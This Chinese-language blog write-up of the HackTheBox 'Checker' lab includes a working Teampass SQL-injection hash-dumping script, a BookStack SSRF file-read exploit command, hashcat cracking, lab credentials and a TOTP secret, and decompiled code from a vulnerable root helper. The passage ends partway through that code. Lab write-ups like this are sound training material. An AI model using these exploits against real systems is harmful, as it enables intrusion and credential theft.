HTB靶机 Checker 渗透测试记录

misaka19008 发布于 2025-02-26 221 次阅读 7040 字



目标信息

IP地址:10.10.11.56


信息收集

ICMP检测

PING 10.10.11.56 (10.10.11.56) 56(84) bytes of data.
64 bytes from 10.10.11.56: icmp_seq=1 ttl=63 time=352 ms
64 bytes from 10.10.11.56: icmp_seq=2 ttl=63 time=236 ms
64 bytes from 10.10.11.56: icmp_seq=3 ttl=63 time=219 ms
64 bytes from 10.10.11.56: icmp_seq=4 ttl=63 time=211 ms

--- 10.10.11.56 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3002ms
rtt min/avg/max/mdev = 211.148/254.477/352.028/57.008 ms

攻击机网络连接正常。

防火墙检测

# Nmap 7.95 scan initiated Mon Feb 24 15:12:55 2025 as: /usr/lib/nmap/nmap -sF -p- --min-rate 3000 -oN ./fin_result.txt 10.10.11.56
Warning: 10.10.11.56 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.56
Host is up (0.21s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE         SERVICE
22/tcp   open|filtered ssh
80/tcp   open|filtered http
8080/tcp open|filtered http-proxy

# Nmap done at Mon Feb 24 15:13:25 2025 -- 1 IP address (1 host up) scanned in 29.99 seconds

靶机疑似开放了以下服务:ssh/2280,8080/http

网络端口扫描

TCP端口扫描结果

# Nmap 7.95 scan initiated Mon Feb 24 15:15:31 2025 as: /usr/lib/nmap/nmap -sS -sV -A -p- --min-rate 3000 -oN ./tcp_report.txt 10.10.11.56
Warning: 10.10.11.56 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.56
Host is up (0.20s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 aa:54:07:41:98:b8:11:b0:78:45:f1:ca:8c:5a:94:2e (ECDSA)
|_  256 8f:2b:f3:22:1e:74:3b:ee:8b:40:17:6c:6c:b1:93:9c (ED25519)
80/tcp   open  http    Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden
8080/tcp open  http    Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 554/tcp)
HOP RTT       ADDRESS
1   215.44 ms 10.10.14.1
2   215.71 ms 10.10.11.56

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Feb 24 15:16:37 2025 -- 1 IP address (1 host up) scanned in 65.88 seconds

UDP端口开放列表扫描结果

# Nmap 7.95 scan initiated Mon Feb 24 15:17:30 2025 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN ./udp_report.txt 10.10.11.56
Warning: 10.10.11.56 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.56
Host is up (0.24s latency).
All 65535 scanned ports on 10.10.11.56 are in ignored states.
Not shown: 65315 open|filtered udp ports (no-response), 220 closed udp ports (port-unreach)

# Nmap done at Mon Feb 24 15:21:35 2025 -- 1 IP address (1 host up) scanned in 244.35 seconds

UDP端口详细信息扫描结果

(无)

同时发现靶机操作系统为Ubuntu Linux,根据HackTheBox靶机提交规则,当前靶机主域名将被设置为checker.htb


服务探测

SSH服务(22端口)

端口Banner

┌──(root㉿misaka19008)-[/home/megumin/Documents/pentest_notes/checker]
└─# nc -nv 10.10.11.56 22                                        
(UNKNOWN) [10.10.11.56] 22 (ssh) open
SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10

Web应用程序(80端口)

打开主页:http://checker.htb/

发现靶机80端口部署了BookStack个人笔记管理系统。尝试查看源代码,发现页面引用了系统自身的CSS样式/dist/styles.css,还附带了version参数,内容为v23.10.2

<!-- Styles -->
<link rel="stylesheet" href="http://checker.htb/dist/styles.css?version=v23.10.2">

推测BookStack系统版本为v23.10.2。尝试联网搜索漏洞:

成功发现BookStack v23.10.2系统存在授权SSRF漏洞(CVE-2023-6199)!该系统后台在处理笔记提交时,会提取HTTP POST请求参数HTML中的img标签,如果HTML图片标签使用Base64编码图片内容并将其硬编码在标签内部,则后台会自动解码处理Base64字符串。但如果当img标签内的Base64值为URL时,后台会自行访问该URL,这里便造成了SSRF漏洞。除了使用http协议访问指定网页,还可以使用file://协议来访问服务器文件系统。

链接地址:LFR via SSRF in BookStack | Blog | Fluid Attacks

Web应用程序(8080端口)

尝试打开网址http://checker.htb:8080,查看网络请求,发现网页尝试加载域名vault.checker.htb的内容:

直接在hosts文件内添加解析记录,随后访问主页:http://vault.checker.htb:8080

发现8080端口部署了Teampass密码管理系统。尝试联网搜索漏洞,发现该系统v3.0.10之前版本存在SQL注入漏洞,CVE IDCVE-2023-1545SQL Injection in nilsteampassnet/teampass | CVE-2023-1545 | Snyk


渗透测试

Teampass SQL注入漏洞利用

8080端口的服务探测阶段,发现Teampass密码管理系统疑似存在SQL注入漏洞。尝试使用如下EXP读取Teampass系统的用户凭据:

if [ "$#" -lt 1 ]; then
  echo "Usage: $0 <base-url>"
  exit 1
fi

vulnerable_url="$1/api/index.php/authorize"

check=$(curl --silent "$vulnerable_url")
if echo "$check" | grep -q "API usage is not allowed"; then
  echo "API feature is not enabled :-("
  exit 1
fi

# htpasswd -bnBC 10 "" h4ck3d | tr -d ':n'
arbitrary_hash='$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq'

exec_sql() {
  inject="none' UNION SELECT id, '$arbitrary_hash', ($1), private_key, personal_folder, fonction_id, groupes_visibles, groupes_interdits, 'foo' FROM teampass_users WHERE login='admin"
  data="{"login":""$inject"","password":"h4ck3d", "apikey": "foo"}"
  token=$(curl --silent --header "Content-Type: application/json" -X POST --data "$data" "$vulnerable_url" | jq -r '.token')
  echo $(echo $token| cut -d"." -f2 | base64 -d 2>/dev/null | jq -r '.public_key')
}

users=$(exec_sql "SELECT COUNT(*) FROM teampass_users WHERE pw != ''")

echo "There are $users users in the system:"

for i in `seq 0 $(($users-1))`; do
  username=$(exec_sql "SELECT login FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT $i,1")
  password=$(exec_sql "SELECT pw FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT $i,1")
  echo "$username: $password"
done

直接执行:

./teampass_sqlexp.sh http://vault.checker.htb:8080

成功发现用户哈希值!且哈希类型为BCrypt,迭代次数为10次。

爆破Teampass用户哈希登录

发现用户哈希之后,尝试使用hashcat进行爆破。首先爆破bob用户的哈希:$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy,字典使用rockyou.txt

.\hashcat.exe -m 3200 -a 0 "`$2y`$10`$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy" .rockyou.txt --force

成功发现用户凭据:

  • 用户名:bob
  • 密码:cheerleader

直接登录:

成功!

登录BookStack笔记系统

成功登录Teampass密码管理系统后,点击后台右侧的bookstack login页面链接,发现BookStack的登录凭据:

成功发现BookStack登录凭据:

  • 电子邮箱:bob@checker.htb
  • 密码:mYSeCr3T_w1kI_P4sSw0rD

查看下一项凭据ssh access

  • 用户名:reader
  • 密码:hiccup-publicly-genesis

尝试登录SSH,发现SSH服务在成功验证系统账号凭据后,还要求输入另一个验证码:

尝试联网查询相关信息,发现该SSH服务存在双因素认证机制。靶机操作系统安装了Google动态验证码鉴权PAM插件,当用户需要从SSH登录时,除了输入正确的密码外,还必须输入由Google PAM插件生成,向云验证码服务同步的6位数在线验证码,且该验证码的有效期只有30秒。用于生成动态验证码的密钥位于用户家目录的.google_authenticator配置文件内:

既然暂时无法登录SSH,那么只能登录BookStack,尝试寻找其它信息:

点击笔记Basic Backup with cp,在笔记内发现了一些备份脚本源代码:

#!/bin/bash
SOURCE="/home"
DESTINATION="/backup/home_backup"

mkdir -p $DESTINATION
cp -r --remove-destination -p $SOURCE $DESTINATION/

这意味着,靶机系统用户reader的家目录可能被备份至了目录/backup/home_backup下,而在一般情况中,.google_authenticator动态验证码配置文件在指定用户家目录内,则该配置文件很可能也被复制到了备份目录下。

结合BookStack v23.10.2版本存在SSRF漏洞,并可以通过file://协议读取服务器本地文件的情况,决定利用该漏洞读取/backup/home_backup/reader/.google_authenticator文件,获取动态验证码生成密钥后,使用在线工具预测当前时间、30秒前和30秒后的验证码,并逐个尝试进行SSH登录。

BookStack SSRF漏洞读取配置文件

登录BookStack后,根据之前联网搜索到的漏洞利用视频进行漏洞复现。首先点击主页右上角Books => 右侧边栏Create a Book按钮,进入书籍创建页面随便输入一个书名后,点击Save Book创建新电子书:

创建完毕后,点击新电子书管理页面上的Create a new page按钮,在标题栏和页面上随便输入一些内容后,打开BurpSuite拦截BookStack前端发出的自动保存内容请求包:

发现AJAX请求的目标URL/ajax/page/8/save-draft。根据EXP发布者的视频,决定使用如下工具发送恶意AJAX数据包:synacktiv/php_filter_chains_oracle_exploit: A CLI to exploit parameters vulnerable to PHP filter chain error based oracle.

git clone https://github.com/synacktiv/php_filter_chains_oracle_exploit.git

成功下载项目后,首先编辑./filters_chain_oracle/core/requestor.py,找到组装php://filter链的代码,添加将组装的PHP Filter读链进行Base64编码后,拼接到HTML img标签内的代码:

base64_chain = base64.b64encode(f'php://filter/{s}{self.in_chain}/resource={self.file_to_leak}'.encode()).decode()
filter_chain = f'<img src="data:image/png;base64,{base64_chain}">'

随后执行如下命令发送带有攻击代码的AJAX请求包,读取Google 2FA配置文件:

./filters_chain_oracle_exploit.py --target "http://checker.htb/ajax/page/8/save-draft" --file /backup/home_backup/home/reader/.google_authenticator --verb PUT --parameter html --proxy http://127.0.0.1:8080 --headers '{"X-CSRF-TOKEN":"hlx3zCjAuwynlc9tWQIyKMqAgp8CrInPVdgf7sfg", "Content-Type":"application/x-www-form-urlencoded","Cookie":"bookstack_session=eyJpdiI6IjJIWW9qL2tnclYyL0dndHF2NExPM1E9PSIsInZhbHVlIjoidVJVZzdmRThIa013bTAvaUx5bVdLNC9reGM4aDEwRFVZVkZ6QzA3aUV1WXFab0c0ZFhrcjFRMXB6SmlML1dDQW00UVRFVXNldEs2WlNQejEwN1pYSlh6djRLbkhmeXk3NisyaFBEZTQ2eUk4ejl2dEVGb2toZFNFUFAvay9KYlAiLCJtYWMiOiJlNGZkZjczMTIzOGM4ZjMyMmExMDI0ODllNjZmZjdlZmQ1NDg4ZmRlMjI0OWNjZGZkMWMwMWJhMWUyMjk5ODRmIiwidGFnIjoiIn0%3D"}'

成功发现Google Authenticator TOTP验证码生成密钥:DVDBRAODLCWF7I2ONA4K5LQLUE

接下来打开在线工具,输入密钥点击生成按钮,编码格式选择Base32

接着直接登录SSH

成功!!


权限提升

逆向分析check_leak程序

进入系统后,执行sudo -l命令,发现当前用户reader可以root身份免密运行/opt/hash-checker/check-leak.sh命令:

查看该脚本内容:

#!/bin/bash
source `dirname $0`/.env
USER_NAME=$(/usr/bin/echo "$1" | /usr/bin/tr -dc '[:alnum:]')
/opt/hash-checker/check_leak "$USER_NAME"

发现该脚本会直接调用/opt/hash-checker/check_leak程序。直接使用scp将其传输到本地,使用IDA Pro打开,找到main()函数后按F5查看其模拟代码:

由于逆向工程分析需要,作者已经将模拟代码变量进行了重命名,下面贴出main()函数模拟代码:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  const char *v3; // rdx
  unsigned int shm_location; // [rsp+14h] [rbp-3Ch]
  char *db_host; // [rsp+18h] [rbp-38h]
  char *db_user; // [rsp+20h] [rbp-30h]
  char *db_pass; // [rsp+28h] [rbp-28h]
  char *db_name; // [rsp+30h] [rbp-20h]
  char *username_input; // [rsp+40h] [rbp-10h]
  void *ptr; // [rsp+48h] [rbp-8h]

  db_host = getenv("DB_HOST");
  db_user = getenv("DB_USER");
  db_pass = getenv("DB_PASSWORD");
  db_name = getenv("DB_NAME");
  if ( *(_BYTE *)(((unsigned __int64)(argv + 1) >> 3) + 0x7FFF8000) )
    __asan_report_load8(argv + 1);
  username_input = (char *)argv[1];
  if ( !db_host || !db_user || !db_pass || !db_name )// Check if MySQL credential not exists
  {
    if ( *(_BYTE *)(((unsigned __int64)&stderr >> 3) + 0x7FFF8000) )
      __asan_report_load8(&stderr);
    fwrite("Error: Missing database credentials in environmentn", 1uLL, 0x33uLL, stderr);
    __asan_handle_no_return();
    exit(1);
  }
  if ( argc != 2 )                              // Throw error if the command arguments are less than 2
  {
    if ( *(_BYTE *)(((unsigned __int64)argv >> 3) + 0x7FFF8000) )
      __asan_report_load8(argv);
    v3 = *argv;
    if ( *(_BYTE *)(((unsigned __int64)&stderr >> 3) + 0x7FFF8000) )
      __asan_report_load8(&stderr);
    fprintf(stderr, "Usage: %s <USER>n", v3);
    __asan_handle_no_return();
    exit(1);
  }
  if ( !username_input )
    goto ERROR_EMPTY_USERNAME;
  if ( *(_BYTE *)(((unsigned __int64)username_input >> 3) + 0x7FFF8000) != 0
    && ((unsigned __int8)username_input & 7) >= *(_BYTE *)(((unsigned __int64)username_input >> 3) + 0x7FFF8000) )
  {
    __asan_report_load1(username_input);
  }
  if ( !*username_input )
  {
ERROR_EMPTY_USERNAME:
    if ( *(_BYTE *)(((unsigned __int64)&stderr >> 3) + 0x7FFF8000) )
      __asan_report_load8(&stderr);
    fwrite("Error: <USER> is not provided.n", 1uLL, 0x1FuLL, stderr);
    __asan_handle_no_return();
    exit(1);
  }
  if ( strlen(username_input) > 20 )            // Throw error if the username's length is longer than 20
  {
    if ( *(_BYTE *)(((unsigned __int64)&stderr >> 3) + 0x7FFF8000) )
      __asan_report_load8(&stderr);
    fwrite("Error: <USER> is too long. Maximum length is 20 characters.n", 1uLL, 0x3CuLL, stderr);
    __asan_handle_no_return();
    exit(1);
  }
  ptr = (void *)fetch_hash_from_db(db_host, db_user, db_pass, db_name, username_input);
  if ( ptr )
  {
    if ( (unsigned __int8)check_bcrypt_in_file("/opt/hash-checker/leaked_hashes.txt", ptr) )
    {
      puts("Password is leaked!");
      if ( *(_BYTE *)(((unsigned __int64)&edata >> 3) + 0x7FFF8000) )
        __asan_report_load8(&edata);
      fflush(edata);
      shm_location = write_to_shm(ptr);
      printf("Using the shared memory 0x%X as temp locationn", shm_location);
      if ( *(_BYTE *)(((unsigned __int64)&edata >> 3) + 0x7FFF8000) )
        __asan_report_load8(&edata);
      fflush(edata);
      sleep(1u);
      notify_user(db_host, db_user, db_pass, db_name, shm_location);
      clear_shared_memory(shm_location);
    }
    else
    {
      puts("User is safe.");
    }
    free(ptr);
  }
  else
  {
    puts("User not found in the database.");
  }
  return 0;
}

我们首先来分析main()主程序函数。在初始化阶段,程序从环境变量读入了db_hostdb_userdb_passdb_name四个MySQL数据库连接配置,以及从命令行输入读入了用户名,存在username_input内,接着进行了检测连接凭据与输入用户名是否为空等一系列操作,范围在12 - 61行。

紧接着,程序调用了fetch_hash_from_db函数,将数据库凭据和输入用户名全部传入了进去:

直接双击该函数,查看其模拟代码:

char *__fastcall fetch_hash_from_db(
        __int64 db_host,
        __int64 db_user,
        __int64 db_pass,
        __int64 db_name,
        const char *username)
{
  unsigned __int64 buffer; // rbx
  __int64 v6; // rax
  _DWORD *v7; // r12
  const char *mysql_error_init_message; // rcx
  const char *mysql_error_connect_message; // rcx
  const char *mysql_error_query_message; // rcx
  const char *mysql_error_savedata_message; // rcx
  size_t each_result_length; // rax
  char *dest; // [rsp+30h] [rbp-500h]
  __int64 mysql_conn; // [rsp+38h] [rbp-4F8h]
  __int64 db_query_result; // [rsp+40h] [rbp-4F0h]
  unsigned __int64 row; // [rsp+48h] [rbp-4E8h]
  char v21[1208]; // [rsp+50h] [rbp-4E0h] BYREF
  unsigned __int64 v22; // [rsp+508h] [rbp-28h]

  buffer = (unsigned __int64)v21;
  if ( _asan_option_detect_stack_use_after_return )
  {
    v6 = __asan_stack_malloc_5(1184LL);
    if ( v6 )
      buffer = v6;
  }
  *(_QWORD *)buffer = 1102416563LL;
  *(_QWORD *)(buffer + 8) = "1 32 1024 8 query:36";
  *(_QWORD *)(buffer + 16) = fetch_hash_from_db;
  v7 = (_DWORD *)(buffer >> 3);
  v7[536862720] = -235802127;
  v7[536862753] = -202116109;
  v7[536862754] = -202116109;
  v7[536862755] = -202116109;
  v7[536862756] = -202116109;
  v22 = __readfsqword(40u);
  mysql_conn = mysql_init(0LL);
  if ( !mysql_conn )
  {
    mysql_error_init_message = (const char *)mysql_error(0LL);
    if ( *(_BYTE *)(((unsigned __int64)&stderr >> 3) + 0x7FFF8000) )
      __asan_report_load8(&stderr);
    fprintf(stderr, "Error: %sn", mysql_error_init_message);
    __asan_handle_no_return();
    exit(1);
  }
  if ( !mysql_real_connect(mysql_conn, db_host, db_user, db_pass, db_name, 0LL, 0LL, 0LL) )
  {
    mysql_error_connect_message = (const char *)mysql_error(mysql_conn);
    if ( *(_BYTE *)(((unsigned __int64)&stderr >> 3) + 0x7FFF8000) )
      __asan_report_load8(&stderr);
    fprintf(stderr, "Error: %sn", mysql_error_connect_message);
    mysql_close(mysql_conn);
    __asan_handle_no_return();
    exit(1);
  }
  snprintf((char *)(buffer + 32), 0x400uLL, "SELECT pw FROM teampass_users WHERE login = '%s';", username);
  if ( (unsigned int)mysql_query(mysql_conn, buffer + 32) )
  {
    mysql_error_query_message = (const char *)mysql_error(mysql_conn);
    if ( *(_BYTE *)(((unsigned __int64)&stderr >> 3) + 0x7FFF8000) )
      __asan_report_load8(&stderr);
    fprintf(stderr, "Error: %sn", mysql_error_query_message);
    mysql_close(mysql_conn);
    __asan_handle_no_return();
    exit(1);
  }
  db_query_result = mysql_store_result(mysql_conn);
  if ( !db_query_result )
  {
    mysql_error_savedata_message = (const char *)mysql_error(mysql_conn);
    if ( *(_BYTE *)(((unsigned __int64)&stderr >> 3) + 0x7FFF8000) )
      __asan_report_load8(&stderr);
    fprintf(stderr, "Error storing result: %sn", mysql_error_savedata_message);
    mysql_close(mysql_conn);
    __asan_handle_no_return();
    exit(1);
  }
  dest = 0LL;
  row = mysql_fetch_row(db_query_result);
  if ( row )
  {
    if ( *(_BYTE *)((row >> 3) + 0x7FFF8000) )
      __asan_report_load8(row);
    if ( *(_QWORD *)row )
    {
      each_result_length = strlen(*(const char **)row);
      dest = (char *)malloc(each_result_length + 1);
      if ( !dest )
      {
        if ( *(_BYTE *)(((unsigned __int64)&stderr >> 3) + 0x7FFF8000) )
          __asan_report_load8(&stderr);
        fwrite("Memory allocation error.n", 1uLL, 0x19uLL, stderr);
        mysql_free_result(db_query_result);
        mysql_close(mysql_conn);
        __asan_handle_no_return();
        exit(1);
      }
      if ( *(_BYTE *)((row >> 3) + 0x7FFF8000) )
        __asan_report_load8(row);
      strcpy(dest, *(const char **)row);
    }
  }
  else
  {
    dest = 0LL;
  }
  mysql_free_result(db_query_result);
  mysql_close(mysql_conn);
  if ( v21 == (char *)buffer )
  {
    *(_DWORD *)((buffer >> 3) + 0x7FFF8000) = 0;
    *(_QWORD *)((buffer >> 3) + 0x7FFF8084) = 0LL;
    *(_QWORD *)((buffer >> 3) + 0x7FFF808C) = 0LL;
  }
  else
  {
    *(_QWORD *)buffer = 1172321806LL;
    __asan_stack_free_5(buffer, 1184LL, v21);
  }
  return dest;
}

可以发现该函数的作用是登录数据库并查出指定用户的哈希值。函数在第23 - 59行进行了一系列数据库初始化操作,随后在第60 - 81行进行了数据库查询和结果保存。首先可以发现,查询的SQL语句为:

SELECT pw FROM teampass_users WHERE login = '{USERNAME}';

很显然,程序查询的是Teampass的用户哈希,而之前在渗透测试过程中,发现adminbob用户的哈希刚好发生泄露。

随后,在第82 - 110行,程序创建了dest变量,使用mysql_fetch_row函数将哈希值保存到临时变量内,接着根据其字符串长度,使用malloc()函数动态分配了内存空间,将其指针赋值给dest变量,最后将临时变量中的内容使用strcpy函数复制到了dest变量中。在该函数末尾,使用return返回了dest变量。

由此可得到总结:fetch_hash_from_db是根据输入用户名向数据库查询其哈希的函数。

继续看main()函数。当fetch_hash_from_db函数执行完毕后,程序会判断其返回值变量ptr是否为NULL。如果不为NULL,程序又会调用check_bcrypt_in_file函数,似乎是将返回的哈希值同/opt/hash-checker/leaked_hashes.txt内保存的哈希作逐行比较:

__int64 __fastcall check_bcrypt_in_file(const char *file_path, const char *result_ptr)
{
  unsigned __int64 filedata_buffer; // rbx
  __int64 v3; // rax
  char *v4; // r13
  _DWORD *v5; // r12
  __int64 result; // rax
  size_t v7; // rcx
  char v8; // dl
  size_t v9; // rcx
  char v10; // dl
  FILE *stream; // [rsp+10h] [rbp-1B0h]
  size_t bcrypt_hashfile_length; // [rsp+18h] [rbp-1A8h]
  char v13[376]; // [rsp+20h] [rbp-1A0h] BYREF
  unsigned __int64 v14; // [rsp+198h] [rbp-28h]

  filedata_buffer = (unsigned __int64)v13;
  if ( _asan_option_detect_stack_use_after_return )
  {
    v3 = __asan_stack_malloc_3(352LL);
    if ( v3 )
      filedata_buffer = v3;
  }
  v4 = (char *)(filedata_buffer + 384);
  *(_QWORD *)filedata_buffer = 1102416563LL;
  *(_QWORD *)(filedata_buffer + 8) = "1 32 256 7 line:76";
  *(_QWORD *)(filedata_buffer + 16) = check_bcrypt_in_file;
  v5 = (_DWORD *)(filedata_buffer >> 3);
  v5[536862720] = -235802127;
  v5[536862729] = -202116109;
  v5[536862730] = -202116109;
  v14 = __readfsqword(0x28u);
  stream = fopen(file_path, "r");
  if ( stream )
  {
    while ( fgets((char *)(filedata_buffer + 32), 256, stream) )
    {
      bcrypt_hashfile_length = strlen((const char *)(filedata_buffer + 32));
      if ( bcrypt_hashfile_length )
      {
        v7 = bcrypt_hashfile_length - 1;
        v8 = *(_BYTE *)(((bcrypt_hashfile_length - 1 + filedata_buffer + 32) >> 3) + 0x7FFF8000);
        if ( v8 != 0 && (char)((bcrypt_hashfile_length - 1 + filedata_buffer + 32) & 7) >= v8 )
          __asan_report_load1(bcrypt_hashfile_length - 1 + filedata_buffer + 32);
        if ( v4[v7 - 352] == 10 )
        {
          v9 = bcrypt_hashfile_length - 1;
          v10 = *(_BYTE *)(((bcrypt_hashfile_length - 1 + filedata_buffer + 32) >> 3) + 0x7FFF8000);
          if ( v10 != 0 && (char)((bcrypt_hashfile_length - 1 + filedata_buffer + 32) & 7) >= v10 )
            __asan_report_store1(bcrypt_hashfile_length - 1 + filedata_buffer + 32);
          v4[v9 - 352] = 0;
        }
      }
      if ( !strcmp((const char *)(filedata_buffer + 32), result_ptr) )
      {
        fclose(stream);
        LODWORD(result) = 1;
        goto LABEL_17;
      }
    }
    fclose(stream);
    LODWORD(result) = 0;
  }
  else
  {
    perror("Error opening file");
    LODWORD(result) = 0;
  }
LABEL_17:
  if ( v13 == (char *)filedata_buffer )
  {
    *(_DWORD *)((filedata_buffer >> 3) + 0x7FFF8000) = 0;
    *(_QWORD *)((filedata_buffer >> 3) + 0x7FFF8024) = 0LL;
  }
  else
  {
    *(_QWORD *)filedata_buffer = 1172321806LL;
    *(_QWORD *)((filedata_buffer >> 3) + 0x7FFF8000) = 0xF5F5F5F5F5F5F5F5LL;
    *(_QWORD *)((filedata_buffer >> 3) + 0x7FFF8008) = 0xF5F5F5F5F5F5F5F5LL;
    *(_QWORD *)((filedata_buffer >> 3) + 0x7FFF8010) = 0xF5F5F5F5F5F5F5F5LL;
    *(_QWORD *)((filedata_buffer >> 3) + 0x7FFF8018) = 0xF5F5F5F5F5F5F5F5LL;
    *(_QWORD *)((filedata_buffer >> 3) + 0x7FFF8020) = 0xF5F5F5F5F5F5F5F5LL;
    *(_DWORD *)((filedata_buffer >> 3) + 0x7FFF8028) = -168430091;
    **(_BYTE **)(filedata_buffer + 504) = 0;
  }
  return (unsigned int)result;
}

该函数的核心在第54 - 59行。在第36行,函数通过fgets()方法和while循环,实现了每次读取一行文件内容到filedata_buffer的功能(哈希值开头索引在数组第32位)。随后,在第54 - 59行,程序使用strcmp函数将传入哈希值和filedata_buffer内保存的正确哈希值进行了比较,如内容相符,则返回True

继续返回看main()函数。当check_bcrypt_in_file函数执行完毕,且传入哈希和正确哈希相匹配时,程序会打印密码泄露的提示,并调用write_to_shm()函数。从下面printf()函数打印的内容来看,该函数似乎是将哈希值内容写入了Linux共享空间内。查看该函数:

__int64 __fastcall write_to_shm(const char *dbhash_ptr)
{
  unsigned __int64 v1; // rbx
  __int64 v2; // rax
  unsigned __int64 v3; // r12
  unsigned int current_timestamp_1; // eax
  time_t current_timestamp_2; // rax
  unsigned __int64 current_time_string_lastchar; // rcx
  unsigned int key; // [rsp+10h] [rbp-A0h]
  int shmid; // [rsp+14h] [rbp-9Ch]
  char *share_memory_ptr; // [rsp+20h] [rbp-90h]
  const char *current_time_string; // [rsp+28h] [rbp-88h]
  char v12[88]; // [rsp+30h] [rbp-80h] BYREF
  unsigned __int64 v13; // [rsp+88h] [rbp-28h]

  v1 = (unsigned __int64)v12;
  if ( _asan_option_detect_stack_use_after_return )
  {
    v2 = __asan_stack_malloc_0(64LL);
    if ( v2 )
      v1 = v2;
  }
  *(_QWORD *)v1 = 1102416563LL;
  *(_QWORD *)(v1 + 8) = "1 32 8 7 now:105";
  *(_QWORD *)(v1 + 16) = write_to_shm;
  v3 = v1 >> 3;
  *(_DWORD *)(v3 + 2147450880) = -235802127;
  *(_DWORD *)(v3 + 2147450884) = -202116352;
  v13 = __readfsqword(0x28u);
  current_timestamp_1 = time(0LL);
  srand(current_timestamp_1);
  key = rand() % 0xFFFFF;
  shmid = shmget(key, 0x400uLL, 950);
  if ( shmid == -1 )
  {
    perror("shmget");
    __asan_handle_no_return();
    exit(1);
  }
  share_memory_ptr = (char *)shmat(shmid, 0LL, 0);
  if ( share_memory_ptr == (char *)-1LL )
  {
    perror("shmat");
    __asan_handle_no_return();
    exit(1);
  }
  current_timestamp_2 = time(0LL);
  if ( *(_BYTE *)(((v1 + 32) >> 3) + 0x7FFF8000) )
    current_timestamp_2 = __asan_report_store8(v1 + 32);
  *(_QWORD *)(v1 + 32) = current_timestamp_2;
  current_time_string = ctime((const time_t *)(v1 + 32));
  current_time_string_lastchar = (unsigned __int64)&current_time_string[strlen(current_time_string) - 1];
  if ( *(_BYTE *)((current_time_string_lastchar >> 3) + 0x7FFF8000) != 0
    && (char)(current_time_string_lastchar & 7) >= *(_BYTE *)((current_time_string_lastchar >> 3) + 0x7FFF8000) )
  {
    __asan_report_store1(current_time_string_lastchar);
  }
  *(_BYTE *)current_time_string_lastchar = 0;
  snprintf(share_memory_ptr, 0x400uLL, "Leaked hash detected at %s > %sn", current_time_string, dbhash_ptr);
  shmdt(share_memory_ptr);
  if ( v12 == (char *)v1 )
  {
    *(_QWORD *)((v1 >> 3) + 0x7FFF8000) = 0LL;
  }
  else
  {
    *(_QWORD *)v1 = 1172321806LL;
    *(_QWORD *)((v1 >> 3) + 0x7FFF8000) = 0xF5F5F5F5F5F5F5F5LL;
    **(_BYTE **)(v1 + 56) = 0;
  }
  return key;
}

该函数的重点在第30 - 33行和第47 - 60行。首先,程序获取了当前时间戳current_timestamp_1,并使用其作为随机数种子,通过rand()生成了随机整数,并将随机数和0xFFFFF作了取余运算操作,将运算结果的16进制值作为了Linux共享内存的索引地址值,创建并连接了共享内存空间。(比如,程序于2020年1月1日19:00:00进行上述操作,则时间戳为1577876400,rand()函数结果为1273327832,共享内存地址就为0x26b98)

接着,程序又获取了时间戳current_timestamp_2,并使用ctime()函数将其转换为标准时间字符串current_time_string,然后将该变量和传入哈希值格式化为如下字符串:

Leaked hash detected at {Time String} > {Hash}n

格式化完毕后,就将字符串写入了共享内存中,并使用return返回共享内存地址。

返回继续看main()函数。当成功接收到共享内存地址shm_location后,程序会将其地址值打印,随后暂停执行1秒,接着又将数据库凭据变量和shm_location传入了notify_user()函数中调用:

unsigned __int64 __fastcall notify_user(
        __int64 db_host,
        const char *db_user,
        const char *db_pass,
        const char *db_name,
        unsigned int shm_location)
{
  unsigned __int64 v5; // r12
  __int64 v6; // rax
  _DWORD *v7; // rbx
  int v8; // edx
  _BYTE *v9; // rdx
  unsigned int shmid; // [rsp+30h] [rbp-1F0h]
  int command_buffer; // [rsp+34h] [rbp-1ECh]
  char *haystack; // [rsp+38h] [rbp-1E8h]
  const char *hash_exist_flag_ptr; // [rsp+40h] [rbp-1E0h]
  char *pipechar_location_shm_ptr; // [rsp+48h] [rbp-1D8h]
  const char *database_hash; // [rsp+50h] [rbp-1D0h]
  char *command; // [rsp+60h] [rbp-1C0h]
  FILE *stream; // [rsp+68h] [rbp-1B8h]
  char *v22; // [rsp+70h] [rbp-1B0h]
  char *ptr; // [rsp+78h] [rbp-1A8h]
  char v24[376]; // [rsp+80h] [rbp-1A0h] BYREF
  unsigned __int64 v25; // [rsp+1F8h] [rbp-28h]

  v5 = (unsigned __int64)v24;
  if ( _asan_option_detect_stack_use_after_return )
  {
    v6 = __asan_stack_malloc_3(352LL);
    if ( v6 )
      v5 = v6;
  }
  *(_QWORD *)v5 = 1102416563LL;
  *(_QWORD *)(v5 + 8) = "1 32 256 17 result_buffer:171";
  *(_QWORD *)(v5 + 16) = notify_user;
  v7 = (_DWORD *)(v5 >> 3);
  v7[536862720] = -235802127;
  v7[536862729] = -202116109;
  v7[536862730] = -202116109;
  v25 = __readfsqword(0x28u);
  shmid = shmget(shm_location, 0LL, 438);
  if ( shmid == -1 )
  {
    printf("No shared memory segment found for the given address: 0x%Xn", shm_location);
    goto ERROR_NO_SHM_MEMORY;
  }
  haystack = (char *)shmat(shmid, 0LL, 0);
